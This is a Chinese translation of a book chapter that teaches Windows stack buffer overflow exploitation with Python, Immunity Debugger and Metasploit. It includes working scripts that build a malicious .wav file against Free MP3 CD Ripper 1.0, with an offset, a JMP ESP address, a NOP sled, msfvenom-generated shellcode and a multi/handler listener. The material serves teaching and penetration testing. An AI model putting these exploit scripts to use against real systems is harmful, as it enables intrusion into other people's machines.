Skip to content

Latest commit

 

History

History
873 lines (576 loc) · 57.2 KB

File metadata and controls

873 lines (576 loc) · 57.2 KB

八、Python、Metasploit 和 Immunity 利用开发

在研究过程中或在罕见的参与中,您可能需要开发或修改漏洞利用以满足您的需求。Python 是一种非常棒的语言,它可以快速生成代码原型,用于测试漏洞,或者帮助将来修改 Metasploit 模块。本章重点介绍编写利用漏洞的方法,而不是如何为这些软件产品创建特定的利用漏洞,以便需要更多的测试来提高可靠性。首先,我们需要了解中央处理单元CPU)如何注册,以及 Windows 内存在可执行文件运行时的结构。在此之前,在 Windows XP 运行模式虚拟机****虚拟机上,您需要一些工具来测试这一点。

在 Windows XP Run 上下载并安装以下组件:模式 VM、Python 2.7、Notepad++、Immunity调试器、MinGW(包含所有基本软件包)和免费 MP3 CD 裂土器版本 1.0。还可以使用您当前的 Kali 构建来帮助生成我们将在本章中重点介绍的相关细节。

开始使用寄存器

此解释基于 x86 系统和处理可执行文件指令集的相关寄存器。为了简洁起见,我们不打算详细讨论所有寄存器,但我们将在本章范围内描述最重要的寄存器。特别突出显示的寄存器大小为 32 位,称为扩展寄存器。

它们之所以被扩展,是因为它们在以前的 16 位寄存器中添加了 16 位。例如,旧的 16 位通用寄存器可以通过简单地从寄存器名称前面删除 E 来识别,因此 EBX 也包含 16 位 BX 寄存器。BX 寄存器实际上是两个较小的 8 位寄存器(BH 和 BL)的组合。H 和 L 表示高字节和低字节寄存器。仅就这一主题编写了大量书籍,复制这些信息对我们的目的没有直接的帮助。总的来说,为了便于理解,登记册分为两种形式:普通用途登记册和特殊用途登记册。

理解通用寄存器

四个通用寄存器是 EAX、EBX、ECX 和 EDX。它们之所以被称为通用寄存器,是因为数学运算和存储发生在这里。请记住,任何东西都可以被操纵,即使是寄存器通常会执行的基本概念。不过,对于这种描述,总体目的是准确的。

EAX

累加器寄存器用于基本的数学运算和函数的返回值。

EBX

基址寄存器是另一个通用寄存器,但与 EAX 不同,它不用于特定用途。因此,该寄存器可根据需要用于标称存储。

ECX

计数器寄存器主要用于循环函数和迭代。ECX 寄存器也可用于一般存储。

EDX

数据寄存器用于更高的数学运算,如乘法和除法。该寄存器还存储整个程序处理过程中的函数变量。

理解专用寄存器

这些寄存器是在整个程序处理过程中处理索引和指向的寄存器。这对您意味着,这就是基本漏洞写入的神奇之处——最终,我们尝试在这里操作数据覆盖。这是通过在其他寄存器中发生的操作顺序来完成的。

EBP

基本指针告诉堆栈底部的位置。第一次调用函数时,它指向堆栈顶部,或者设置为旧堆栈指针值。这是因为堆栈已移动或增长。

电子数据交换

目标索引寄存器用于指向函数的指针。

EIP

指令指针被认为是基本开发编写的目标。您试图覆盖堆栈上此存储点的值,因为如果控制此值,则控制 CPU 执行的下一条指令。因此,当您看到开发人员或漏洞利用作者谈论覆盖 EIP 寄存器上的数据时,请理解这不是一件好事。这意味着程序本身的某些设计失败了。

ESP

堆栈指针显示堆栈的当前顶部,并在程序运行时进行修改。因此,当项目在运行时从堆栈顶部移除时,ESP 将更改其指向的位置。当新函数加载到堆栈上时,EBP 将采用 ESP 的旧位置。

了解 Windows 内存结构

Windows**操作系统(OS)**内存结构有许多部分,可以分解为高级组件。要了解如何编写漏洞利用和利用糟糕的编程实践,我们首先必须了解以下部分。以下详细信息将此信息分解为可管理的块。下图提供了可执行文件的 Windows 内存结构的代表图。

Understanding the Windows memory structure

现在,这些组件中的每一个都很重要,但是我们在大多数利用漏洞编写中使用的是堆栈和堆。

了解堆栈和堆

堆栈用于以有序方式进行短期本地存储。每次调用函数或线程时,都会为该函数或线程指定一个固定大小的唯一堆栈。函数或线程完成操作后,堆栈将被销毁。

另一方面,堆是以相对无序的方式分配全局变量和值的地方。堆由应用共享,内存区域实际上由应用或进程管理。一旦应用终止,就会释放特定的内存区域。在本例中,我们攻击的是堆栈,而不是堆。

提示

请记住,这里的漏洞利用示例通常是用 Perl 编写的,尽管您可以轻松地将代码转换为 Python,如第 2 章Python 脚本基础中所强调的。

为了更好地理解堆和堆栈移动之间的差异,请参见下图,其中显示了在为全局和本地资源分配内存时的调整。

Understanding the stack and the heap

堆栈从堆栈底部到顶部构建数据。从高内存地址增长到低内存地址。当堆向另一个方向(更高的地址)增长时,堆与堆栈相反。

为了理解程序加载到堆栈上的方式,我们创建了一个示例代码段。通过这段代码,您可以看到主函数如何调用function1和本地变量,因为它们被放置在堆栈上。请注意程序在正常情况下调用function1的方式,以及数据如何放置在堆栈上。

int function1(int a, int b, int c)
{
    diffa - b - c;
    sum = a + b + c;
    return sum;
}
int main()
{
    return function1(argv[1], argv[2], argv[3]);
}

Understanding the stack and the heap

加载到堆栈上的代码看起来与此类似,这突出显示了信息组件的显示方式。如您所见,旧的基本指针加载到堆栈上进行存储,而新的 EBP 是旧的堆栈指针值,因为堆栈的顶部已移动到其新位置。

放入堆栈的项目被推到堆栈上,从堆栈中运行或移除的项目从堆栈中弹出。堆栈是一种可编程概念,称为后进先出后进先出结构。把它想象成一堆菜;为了有效地移除盘子,你必须一个或一组地将它们从顶部取下,否则你会有打碎东西的风险。当然,最安全的方法是一次一个,这需要更长的时间,但它是可追踪和有效的。了解了我们将用于将代码注入的内存结构的最动态部分后,您需要了解 Windows 内存的其余区域,这些区域将用作构建块,我们将对其进行操作,以从注入到 shell。具体来说,我们讲的是程序映像和动态链接库DLL)。

请记住,我们正在尝试将外壳代码注入内存,然后使用它通过一个解决方案(如 MeterMeter)访问系统。

了解程序映像和动态链接库

简单地说,程序映像是,实际可执行文件存储在内存中。**可移植可执行文件(PE)**是可执行文件的定义格式,包含可执行文件和 DLL。在内存的程序映像组件中,定义了以下项目。

  • PE header:此包含 PE 其余部分的定义。
  • .text:此组件包含代码段或可执行指令。
  • .rdata:此为只读数据段,包含静态常数而非变量。
  • .data:当可执行文件加载到内存中时,该区域包含初始化后的静态变量、全局变量和静态局部变量。此区域是可读写的,但大小在运行时不会更改,而是在执行时确定。
  • .rsrc:此部分是存储可执行文件资源的地方。这包括图标、菜单、对话框、版本信息、字体等。

许多渗透测试人员操纵可执行文件的.rsrc组件来改变有效载荷的格式,使其看起来像其他东西。这样做通常是为了改变恶意负载在**通用串行总线(USB)**驱动器上的显示方式。想一想,当你把你的负载从一个可执行文件变成一个文件夹的时候,你会做一个 USB 丢弃。大多数人都希望看到文件夹中有什么,而且双击一个假的文件夹比双击一个可疑的可执行文件更有可能。资源调谐器之类的工具使 PE 的这一部分的操作变得非常简单。

这里要理解的 PE 的最后一个组件是 DLL,它包含了 Microsoft 的共享库概念。DLL 类似于可执行文件,但不能直接调用它们,而是必须由可执行文件调用它们。DLL 的核心思想是提供一种升级功能的方法,而无需在操作系统更新时重新编译整个程序。

因此,无论启动周期如何,系统操作的许多基本构建块都需要被引用。这意味着,即使其他组件将位于不同的内存位置,许多核心 DLL 也将保留在相同的引用位置。请记住,程序需要特定的可调用指令,许多基础 DLL 都加载到相同的内存区域。

您需要了解的是,我们将使用这些 DLL 查找可靠地放入同一位置的指令,以便我们可以引用它。这意味着,如果您使用操作系统 DLL,只要操作系统和**Service Pack(SP)**版本相同,在系统和重新启动过程中,内存引用就可以工作。如果您使用的 DLL 完全是程序的本机 DLL,则可以跨操作系统版本使用此漏洞。不过,对于这个示例,我们将使用 OS DLL。发现的指令将使我们能够告诉系统跳转到 shell 代码,然后执行它。

我们必须在 DLL 中执行引用代码的原因是,我们无法确定每次发起此攻击时代码将加载到内存中的确切位置,因此我们无法告诉系统要跳转到的确切内存地址。因此,我们将用我们的代码加载堆栈,然后告诉程序通过引用位置跳转到堆栈顶部。

请记住,每次执行程序和/或每次重新启动时,这可能会发生变化。堆栈内存地址根据每个程序的需要提供,我们正试图将代码直接注入这个正在运行的函数的堆栈中。因此,我们必须利用已知的和可重复的目标指令集。我们将详细解释这一过程的确切过程,但现在,只需知道我们使用 DLL 已知指令集跳转到 shell 代码。从这个内存区域来看,其他组件对于我们这里强调的开发技术来说不太重要,但是您需要在调试器中引用它们时理解它们。

从以下两篇老文章中可以更好地理解 PE,窥视 PE:Win32 可移植可执行文件格式之旅,可在此处找到https://msdn.microsoft.com/en-us/magazine/ms809762.aspx ,并深入了解 Win32 可移植可执行文件格式,可在此处找到 https://msdn.microsoft.com/en-us/magazine/cc301805.aspx

了解工艺环境块

进程环境块PEB)是存储运行进程的非内核组件的地方。不应该访问内核组件的系统所需的信息存储在内存中。一些主机入侵防御系统HIPS监视此内存区域中的活动,以查看是否正在发生恶意活动。PEB 包含与加载的 DLL、可执行文件、访问限制等相关的详细信息。

了解线程环境块

为进程已建立的每个线程生成一个**线程环境块(TEB)**线程环境块。第一个线程称为主线程,之后的每个线程都有自己的 TEB。每个 TEB 共享启动它们的进程的内存分配,但它们可以以使任务完成更高效的方式执行指令。由于需要可写访问,该环境驻留在内存的非内核块中。

内核

这是为设备驱动程序保留的内存的区域、硬件访问层(HAL)、缓存和其他程序不需要直接访问的组件。理解内核的最好方法是,它是操作系统中最关键的组件。所有通信都通过操作系统功能进行必要的代理。我们在这里强调的攻击并不依赖于对内核的深入理解。此外,深入理解 Windows 内核需要一本自己的书。在定义内存位置之后,我们必须了解数据是如何在其中寻址的。

了解内存地址和结束

当查看内存时,数据以十六进制字符 0-F 表示,每个字符代表 0-15 的值。例如,十六进制中的值 0 在二进制中表示为 0000,F 在二进制中表示为 1111。

使用十六进制使更容易读取内存地址,也更容易写入它们。因为我们有 32 位内存地址,所以特定的位将有 32 个位置。由于每个十六进制值表示四位,因此可以用八个十六进制字符进行等效表示。请记住,这些十六进制字符是成对的,因此它们表示四对。

英特尔 x86 平台对内存寻址使用了一种小小的 endian 表示法,这意味着最低有效字节排在第一位。您读取的内存地址必须反转才能生成小端的等效地址。要理解手动转换为 little endian,请查看下图,注意您正在反转对的顺序,而不是对本身。这是因为这对代表一个字节,我们先按最低有效字节排序,而不是按位排序,如果是这种情况,十六进制字符也会改变,除非它是 a 或 F。

Understanding memory addresses and endianness

不要担心,我们有一个骗局,您经常会看到 Perl 利用特定内存地址编写的漏洞加载到带有pack('V', 0xaa01f24d)的变量中。这是 Perl 的一个整洁的特性,它允许您将内存值直接加载到一个变量中。Python 的等价物是struct.pack('<I', 0xaa01f24d),这使得内存地址的表示更加简单。如果您查看 Metasploit 模块,您可以看到以这种方式表示的预期操作[target['Ret']].pack('V')。这将根据传递的内存地址为指定目标提供返回操作。

当您在 Metasploit 中运行漏洞攻击并选择 Windows XP SP3 或 Windows 2008 R2 等目标时,您就知道了。该目标通常是 EIP 用来调用特定操作的特定内存地址。通常,执行注入是jmp esp,您将在本章后面看到有关反转 Metasploit 模块的更多信息。

我们前面提到过,我们试图用指向指令的内存值覆盖 EIP 寄存器。该指令将根据我们在构建漏洞时可以覆盖的数据来选择。EIP 是利用漏洞代码中的一个区域,在这里您必须担心 Endianness;其余的利用是直接的。

小端大端的命名概念来自乔纳森·斯威夫特的《格列佛游记》。作为这本书的一个简单的概要,小恩狄亚人相信从鸡蛋的小的一面打碎鸡蛋,而大恩狄亚人相信从大的一面打碎他们的鸡蛋。同样的概念也适用于内存结构命名约定。

了解堆栈的操作

为了理解我们正试图通过编写漏洞来做什么,您必须了解内存中发生了什么。我们将把数据注入一个没有绑定检查的内存区域。这通常意味着变量被声明为特定大小,当数据被复制到该变量中时,在复制之前没有验证数据是否适合该变量。

这意味着可以在变量中放置比预期更多的数据。发生这种情况时,多余的数据溢出到堆栈中并覆盖保存的值。其中一个保存的值包括 EIP。下图突出显示了如何将注入的数据推送到堆栈上,并可以移动以覆盖保存的值。

Understanding the manipulation of the stack

我们将用各种字符填充堆栈,以确定需要覆盖的区域。首先,我们将从一大组 As、Bs 和 Cs 开始。查看调试器数据时看到的值将告诉我们在堆栈上的位置。字符类型的差异将帮助我们更好地确定我们的独特字符测试需要的大小。下图显示了覆盖堆栈时堆栈上 As、Bs 和 Cs(未显示)的组合:

Understanding the manipulation of the stack

现在,在大致了解了 EIP 的位置之后,我们可以生成一个独特的模式,将 As 和 Bs 的大小加在一起。这种独特的模式将被注入到易受攻击的程序中。然后,我们可以获取覆盖 EIP 寄存器的唯一值,并将其与我们的模式进行比较。我们确定该值在我们的大型独特模式下下降了多远,并确定需要将多少数据推送到堆栈上才能到达 EIP。

一旦我们确定了 EIP 的位置,我们就可以通过检查 DLL 来定位我们想要在 EIP 中引用的指令。请记住,作为程序本身一部分的 DLL 将更具可移植性,并且您的漏洞将在多个版本的 Windows 中工作。Windows OS DLL 使编写漏洞利用变得更容易,因为它们无处不在,并且具有您需要的说明。

在这个版本的漏洞利用中,我们试图跳转到 ESP,因为那里有可用的空间,并且很容易构建漏洞利用它。如果我们使用其他寄存器中的一个,我们必须寻找一条指令跳转到该寄存器。然后,我们必须确定从被操纵的寄存器到 EIP 有多少可用空间。这将有助于确定需要在堆栈的该区域填充多少数据,因为外壳代码只填充该区域的一小部分。

知道了这一点,我们将在 shell 代码中加入无操作NOPs。位于外壳代码和 EIP 之间的 NOP 将抵消注入的外壳代码。因此,当指令加载到寄存器中时,它们被加载到适当的块中。否则,外壳代码将不合适。最后,最后加载到堆栈上的底座将占用剩余空间,因此当调用到 ESP 的跳转时,代码将从顶部滑到实际外壳代码。请参见下图,以更好地了解我们的发展方向:

Understanding the manipulation of the stack

有了这个基本的理解,我们就可以开始在一个创建糟糕的 C 程序上使用Immunity调试器了。

了解Immunity

我们需要先用Immunity设置的方式启动。Immunition 是一个基于 Python 的很棒的调试器。许多包含 Mona 的插件都是用 Python 编写的,这意味着如果需要更改某些内容,只需修改脚本即可。Immunity的主屏幕分为四个部分,当您钩住一个进程或执行一个程序时,您可以看到详细信息的输出,如下所示。

Understanding immunity

这种布局是的基本外观,你将在其中花费大部分时间。您可以根据需要调用不同的窗口来查看其他正在运行的组件,如 DLL。稍后我们将介绍更多内容,但让我们从创建基本缓冲区溢出开始。

了解基本缓冲区溢出

下面的 C 代码缺少适当的绑定检查,无法对副本实施可变大小限制。这是一个糟糕编程的基本示例,但它是 Metasploit 框架中许多漏洞利用的基础。

#include <string.h>
#include <stdio.h>
int main (int argc, char *argv[])
{
    if (argc!=2) return 1; 
    char copyto[12];
    strcpy(copyto, argv[1]);  // failure to enforce size restrictions
    printf("The username you provided is %s", copyto);
    return 0;
}

我们将此代码放入名为username_test.cpp的文件中,然后使用 MinGW 编译,如下所示:

Understanding basic buffer overflow

然后我们可以运行新编译的程序,查看它返回我们提供的任何文本。

Understanding basic buffer overflow

现在,启动Immunity并使用参数测试打开username_test.exe二进制文件,如下所示。这在功能上与 Python 脚本和从命令行运行它的功能相同,这意味着您可以监视调试器的输出。

Understanding basic buffer overflow

现在,我们需要提供比预期更多的数据,并尝试触发溢出。这很容易在这里完成,因为我们知道这个特殊二进制的极限,但是如果我们不知道,我们就必须进行相对猜测。要做到这一点,我们应该生成一些数据,比如一堆资本,然后看看会发生什么。

我们可以在每次生成参数时反复按住Shift键加上字母 A,也可以创建一个生成器来执行类似的活动。我们可以再次使用 Python 来帮助我们。请参阅简单代码,它将根据需要创建数据文件,这些文件可以复制并粘贴到调试器中。

data = "A"*150
open('output.txt', 'w').close()
with open("output.txt", "w") as text_file:
    text_file.write(data)

其输出如下图所示:

Understanding basic buffer overflow

现在,将数据复制并粘贴到参数中,并在程序使用F7键运行时单步执行程序。按住键一段时间后,您将开始看到二进制文件在寄存器窗格中处理时使用提供的参数运行,并且在处理时,4141 将在 EAX 寄存器中拾取。41 个字符中的每一个都代表了美国信息交换标准代码ASCII)的字母 A。一旦您运行完程序,您应该会看到 EIP 溢出了字母 A。

在本例中,您将看到的内存地址与您自己环境中的内存地址不同,因此您需要确保使用内存地址生成最终脚本,而不是在这些图像中看到的。

Understanding basic buffer overflow

因此,我们知道我们已经提供了足够的数据覆盖 EIP。这意味着我们已经发现我们可以覆盖 EIP,但我们没有为它提供任何有用的东西,我们也不知道它在堆栈中的实际位置。基本上,这意味着这个活动使我们的程序崩溃,而不是做我们想做的事情——得到一个外壳。

这就引出了另一个关于制作漏洞的观点;通常,设计不当或无法在特定漏洞的内存限制下工作的漏洞利用会产生拒绝服务拒绝服务情况。相反,我们的目标是在盒子上得到一个外壳,要做到这一点,我们需要操纵被推入程序的内容。请记住,当您考虑服务时,已经有了关于 To.T5A.To.T6.远程代码执行 OLE T7(Ty8 T8,RCE OutT9)的攻击的报告,并且在 DoS 攻击中唯一可用的公共开发可用的结果。这意味着环境很难实现 shell 访问,或者研究人员在该环境中创建漏洞的能力可能有限。

提示

在进行过程中,如果寄存器有错误,例如下图中的错误,那么您没有正确地确定后续开发的缓冲区大小。

Understanding basic buffer overflow

既然您了解了将数据注入缓冲区并使其溢出的基本知识,我们就可以针对一个真正易受攻击的解决方案。在这个例子中,我们将使用免费的 MP3 CD 裂土器程序。这个程序在开发一个漏洞时提供的实际价值很少,但是开发它是一个相对简单的练习。

编写基本缓冲区溢出漏洞

我们将利用免费 MP3 CD 裂土器软件程序的第 1 版。为此,我们需要从该位置下载并安装产品 http://free-mp3-cd-ripper.en.softonic.com/ 。为了利用这个程序的弱点,我们将使用下面的 Python 脚本,它将生成一个恶意的.wav 文件,可以上传到程序中。数据将被解释,并将创建一个溢出条件,我们可以观察并尝试定制和构建一个漏洞。如前所述,我们将把许多不同的字符加载到此文件中,以便我们可以对存储的 EIP 值的相对位置进行 guestimate。

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4000
fill +="B"*1000
fill +="C"*1000
exploit = fill
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

此脚本将用 4000 As、1000 Bs 和 1000 Cs 填充恶意 wave 文件。现在,打开具有Immunity功能的程序,如下所示:

Writing a basic buffer overflow exploit

使用新的 Python 脚本生成恶意 wave 文件,如下所示:

Writing a basic buffer overflow exploit

然后,用易受攻击的程序加载新文件,如下所示:

Writing a basic buffer overflow exploit

的结果是,我们在 Bs 中得到了稳定的崩溃,如下图所示,这意味着我们的 EIP 覆盖大约在 4000 到 5000 个字符之间。

Writing a basic buffer overflow exploit

此外,我们看到在 EBX、EBP、ESI 和 EDI 中有 Bs,但是 ESP 呢?我们需要找到放置外壳代码的空间,最简单的方法是使用 ESP。因此,我们要做的是转储该寄存器的内容。您可以通过右键单击寄存器并查看Immunity系统左下角窗格中的详细信息,如两个图像组件所示。

Writing a basic buffer overflow exploit

正如您所看到的,我们也用 Bs 填充了 ESP。我们需要缩小可以放置外壳代码和 EIP 位置的范围,因此我们将使用 Metasploit 的pattern_create.rb。首先,我们需要找到 EIP,所以我们将生成五千个独特的字符。使用此脚本时,您将能够插入数据,然后确定覆盖的确切位置。下图突出显示了如何生成唯一的数据集。

Writing a basic buffer overflow exploit

现在,从输出文件中复制字符,并将它们作为新的.wav文件再次输入程序。当加载新的.wav文件时,我们看到程序再次崩溃,一个值覆盖了 EIP。

Writing a basic buffer overflow exploit

我们需要复制该值,并通过输入内存地址和我们最初要求的字符数,使用patter_offset.rb脚本来确定利用漏洞所需的实际偏移量。

Writing a basic buffer overflow exploit

现在,我们将 fill 变量更新为该值。我们必须验证这些垃圾数据是否会导致我们直接登陆 EIP,以便覆盖它。通过使用以下代码显式设置 EIP,可以执行一个测试用例来验证我们是否精确定位了 EIP:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x42424242)
exploit = fill + eip
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

该代码的输出产生以下结果,这意味着我们已经确定了我们的 EIP 位置:

Writing a basic buffer overflow exploit

现在,请记住,我们已经验证了在测试过程中过度编写了 ESP。我们将使用 ESP 和 EIP 之间的区域来保存外壳代码。因此,我们正在寻找命令jmp esp,我们将使用 Microsoft 的共享库来实现这一点。DLL 将在每个程序周期中加载和重用。这意味着我们可以查看程序使用的 DLL,并尝试找到一个可用于引用jmp esp命令的内存位置。然后,我们可以将 EIP 值替换为来自可行 DLL 的jmp esp指令的内存位置。

如果您点击Alt+E,您将获得一个新窗口,其中包含整个受影响的程序 DLL 和系统 DLL。请参见以下屏幕截图,其中突出显示了这些 DLL:

Writing a basic buffer overflow exploit

程序与系统 DLL

我们双击和kernel32.dll,然后右击搜索特定命令:

Writing a basic buffer overflow exploit

单击命令上的后,我们将搜索操作指令集jmp esp,该操作指令集告诉程序跳转到 ESP。

Writing a basic buffer overflow exploit

我们复制结果并获得以下信息:

7C874413   FFE4             JMP ESP

接下来,我们将 EIP 设置为发现的地址。此地址是一个好的目标地址,因为没有坏字符,例如“\x00”。这些字符实际上会停止代码的完整执行。测试坏字符的方法有很多种,但我们尽量避免使用一些标准。

  • 空(“\x00”)
  • 表单提要(“\xFF”)
  • 选项卡(“\x09”)
  • 换行符(“\x0A”)
  • 回车(“\x0D”)

其他字符可以通过使用潜在坏字符列表模糊应用来测试。将这些字符集列表从“\x00”注入“\xFF”。当您看到应用崩溃时,您已经识别出一个坏字符。从元组中删除字符,存储值,然后重试。一旦执行此操作而没有通过坏角色破坏攻击,您就已经确定了所有可行的坏角色。在确定剩余堆栈空间和偏移量有多大之后,我们可以测试坏字符。

接下来是堆栈偏移空间的标识。在利用漏洞脚本中,将外壳代码放在 EIP 值之后是无效的。这可能会导致字符读取顺序错误,进而导致外壳代码失败。

这是因为如果我们跳转到 ESP,而没有考虑空闲空间,我们可能会抵消代码。这意味着完整的指令集不会被整体解释。这意味着我们的代码无法正确执行。此外,如果我们不精确,并且在 EIP 和 ESP 之间插入了大量 NOP 数据,您可能会占用可用于外壳代码的宝贵空间。请记住,堆栈空间是有限的,因此精确是有益的。

为了测试这一点,我们可以编写一个快速生成器脚本,这样我们就不会弄乱实际的利用脚本。此脚本帮助我们测试 EIP 和 ESP 之间的空闲空间。

#!/usr/bin/env python
data = "A"*4112 #Junk
data += "BBBB" #EIP
data += "" #Where you place the pattern_create.rb data
open('exploit.wav', 'w').close()
with open("exploit.wav", "w") as text_file:
    text_file.write(data)

然后我们运行相同的pattern_create.rb脚本,但只使用 1000 个字符,而不是 5000 个字符。将输出数据粘贴到数据变量中并运行生成器脚本。将exploit.wav文件加载到程序中,同时对其进行Immunity监视,如前所述。当程序再次崩溃时,请查看 ESP 的转储。

Writing a basic buffer overflow exploit

当您查看转储时,您会看到最初偏移了 10 个字符。这意味着为了使代码的执行更加可靠,我们需要在 EIP 和外壳代码之间添加一个 10 个或更多字符的 NOP。现在,我们需要确定在堆栈的这个位置有多少空间来注入代码。我们查看内存转储,找到起始地址和结束地址之间的差异,以确定我们有多少空间。以这两个地址为例,我们发现可以使用大约-320 字节的有限空间。

如果我们做的是单级有效载荷,我们可以执行许多步骤来验证我们是否将保持在范围内。不过,我们正在进行多级有效载荷,这意味着我们需要比提供的空间更多的空间。这意味着我们需要实时修改堆栈大小,但在此之前,我们应该确认我们可以执行代码,并且您需要了解堆栈空间耗尽的情况。

现在我们知道了堆栈空间和偏移量,可以调整脚本以搜索潜在的坏字符。接下来,我们在代码末尾添加一个 NOP 底座,以确保跳转到 ESP 幻灯片的执行,直到跳转到可执行代码为止。我们通过计算我们必须使用的整个区域并从中减去偏移量和外壳代码来实现这一点。

然后,我们创建一个 NOP 雪橇,占据剩余区域。执行此操作的最简单方法是使用类似于nop = "\x90"*(320-len(shell)-len(offset))的方程式。更新后的 Python 代码如下所示。使用下面的 Python 脚本,我们可以测试坏字符;请注意,我们必须在初始大小调整后执行此操作,因为我们的问题区域将位于剩余的堆栈空间中。

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
characters"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d"
"\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c"
"\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b"
"\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59"
"\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77"
"\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
"\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95"
"\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3"
"\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"
"\xff")
nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

我们应该生成程序将跳转到的模拟外壳代码。对于初始测试用例,您希望从一个没有任何其他依赖关系的简单示例开始。因此,我们可以告诉注入的代码调用calc.exe的实例。要做到这一点,我们所要做的就是使用msfvenom生成 shell 代码。

msfvenom -p windows/exec CMD=calc.exe -f c -b '\x00\xff'

这样做的目的是以可以放入 Python 元组的格式生成外壳代码,并删除潜在的坏字符'\x00''\xff'。像msfvenom这样的工具通过使用编码器自动为我们实现这一点。编码器的目的是删除坏字符;有一个很大的误解,他们被用来绕过臀部像防病毒。

几年前,HIPS 中的基本特征分析可能没有发现漏洞,因为它与非常特定的特征不匹配。如今,安全工具开发人员已经变得越来越好,触发器在设计上更具分析性。因此,编码器帮助阻止 HIPS 解决方案捕获漏洞的谬误终于消失了。

Writing a basic buffer overflow exploit

我们利用calc.exe代码进行的新攻击如下所示:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =("\xda\xd3\xd9\x74\x24\xf4\xb8\x2c\xde\xc4\x11\x5a\x29\xc9\xb1"
"\x31\x31\x42\x18\x03\x42\x18\x83\xea\xd0\x3c\x31\xed\xc0\x43"
"\xba\x0e\x10\x24\x32\xeb\x21\x64\x20\x7f\x11\x54\x22\x2d\x9d"
"\x1f\x66\xc6\x16\x6d\xaf\xe9\x9f\xd8\x89\xc4\x20\x70\xe9\x47"
"\xa2\x8b\x3e\xa8\x9b\x43\x33\xa9\xdc\xbe\xbe\xfb\xb5\xb5\x6d"
"\xec\xb2\x80\xad\x87\x88\x05\xb6\x74\x58\x27\x97\x2a\xd3\x7e"
"\x37\xcc\x30\x0b\x7e\xd6\x55\x36\xc8\x6d\xad\xcc\xcb\xa7\xfc"
"\x2d\x67\x86\x31\xdc\x79\xce\xf5\x3f\x0c\x26\x06\xbd\x17\xfd"
"\x75\x19\x9d\xe6\xdd\xea\x05\xc3\xdc\x3f\xd3\x80\xd2\xf4\x97"
"\xcf\xf6\x0b\x7b\x64\x02\x87\x7a\xab\x83\xd3\x58\x6f\xc8\x80"
"\xc1\x36\xb4\x67\xfd\x29\x17\xd7\x5b\x21\xb5\x0c\xd6\x68\xd3"
"\xd3\x64\x17\x91\xd4\x76\x18\x85\xbc\x47\x93\x4a\xba\x57\x76"
"\x2f\x34\x12\xdb\x19\xdd\xfb\x89\x18\x80\xfb\x67\x5e\xbd\x7f"
"\x82\x1e\x3a\x9f\xe7\x1b\x06\x27\x1b\x51\x17\xc2\x1b\xc6\x18"
"\xc7\x7f\x89\x8a\x8b\x51\x2c\x2b\x29\xae")
nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

然后我们运行代码生成新的恶意.wav文件,然后将其加载到程序中,查看 EIP 是否被覆盖,以及calc.exe二进制文件是否被执行。

Writing a basic buffer overflow exploit

因此,既然已经编写了基本漏洞,我们可以通过这个弱点对其进行更新以建立会话外壳。首先,我们需要确定什么负载大小最适合我们的利用。这个堆栈空间总体上是有限的,所以我们可以尝试在开始时最小化我们的足迹,但正如您将看到的,这并不重要。

您可以通过猜测并使用msfvenom-s标志进行检查来生成有效负载,但这既低效又缓慢。您会发现,在生成有效负载时,根据您选择的有效负载类型以及删除错误字符和适当调整包大小所需的编码器,它们可能不兼容。

我们可以通过在/usr/share/metasploit-framework/tools目录中运行payload_lengths.rb脚本来确定一个好的起点,而不是玩猜测游戏。这些脚本提供了关于有效载荷长度的详细信息,但是我们认为如果可能的话,我们正在寻找小于 300 个字符的小载荷。因此,我们可以针对有效负载的大小运行脚本 awk,针对 Windows 环境中使用的有效负载运行 grep,如下所示:

Writing a basic buffer overflow exploit

该命令输出的结果不到 40,但一些好的选项包括:

Writing a basic buffer overflow exploit

在我们的 Metasploit 实例上,我们启动将接收 shell 的exploit/multi/handler

Writing a basic buffer overflow exploit

